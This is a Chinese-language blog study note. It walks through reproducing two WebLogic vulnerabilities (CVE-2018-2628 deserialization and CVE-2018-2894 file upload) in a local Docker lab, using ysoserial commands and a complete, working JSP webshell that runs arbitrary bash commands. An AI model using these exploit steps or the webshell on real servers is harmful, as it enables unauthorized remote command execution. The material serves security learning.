一個網絡安全小白在學習過程中記錄下的筆記,希望在CSDN能和大家一起成長,學習,分享,進步,下面分享的是中間件漏洞系列,希望對入門網安的朋友們有所幫助,大神有興趣看看即可,勿噴感謝,同時也歡迎各位師傅私聊交流學習。文章有所參考,也感謝教授我網安知識的師父們,感謝出生在這個互聯網時代,知識觸手可及。
中間件漏洞系列目錄
網絡安全自學篇-中間件漏洞(一)
網絡安全自學篇-中間件漏洞(二)
網絡安全自學篇-中間件漏洞(三)
weblogic之反序列化漏洞CVE-2018-2628
Vul:通過t3協議觸發,可導致未授權的用戶在遠程服務器執行任意命令。
PS:
1、T3也稱爲豐富套接字,是BEA內部協議,功能豐富,可擴展性好。T3是多工雙向和異步協議,經過高度優化,只使用一個套接字和一條線程。
2、RMI:遠程方法調用(Remote Method Invocation)。java虛擬機可以調用另一個java虛擬機中對象的方法。
3、JRMP:java遠程消息交換協議JRMP(Java Remote Messaging Protocol).
本次漏洞復現需要用到ysoserial,ysoserial是一個java反序列化工具。
ysoserial下載地址
漏洞檢測:
nmap -n -p 7001,7002 192.168.42.128 --script=weblogic-t3-info
開啓監聽服務JRMPListener,利用ysoserial的JRMP對8888端口監聽並在成功連接之後在靶機上生成/tmp/jadoreshell
命令:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections1 "touch /tmp/jadoreshell"
使用EXP:
進入靶機,執行命令:
docker exec -ti cve20182628_weblogic_1 /bin/bash
ls -al /tmp
可以看到touch生成的文件夾
weblogic之任意文件上傳漏洞CVE-2018-2894
Vul:利用該漏洞,可以上傳任意jsp文件,進而獲取服務器權限,但是ws_utc/config.do在開發模式下無需認證,在生產模式下需要認證。
docker-compose logs | grep password
查看管理員賬戶爲weblogic密碼爲xAavl33D
訪問http://192.168.42.128:7001/console/
點擊base_domain->Advanced->Enable Web Service Test Page啓動Web服務測試頁
訪問http://192.168.42.128:7001/ws_utc/config.do
設置Work Home Dir爲
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
即將目錄設置爲ws_utc應用的靜態文件css目錄,訪問這個目錄是無需權限的,這一點很重要。
接着點擊Security->Add上傳webshell
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Shell</title>
</head>
<body>
<form method="post" name="shell" action="">
<input type="text" name="cmd">
<input type="submit" value="execute">
</form>
<pre>
<%
if (request.getParameter("cmd") != null) {
String cmd = request.getParameter("cmd");
String[] command = { "/bin/bash", "-c", cmd};
out.println("Command: " + cmd + "\n<br>");
Process p = Runtime.getRuntime().exec(command);
OutputStream os = p.getOutputStream();
InputStream iu = p.getInputStream();
DataInputStream dis = new DataInputStream(iu);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine();
}
}
%>
</pre>
</body>
</html>
查看時間戳
訪問http://192.168.42.128:7001/ws_utc/css/config/keystore/1592655527769_shell.jsp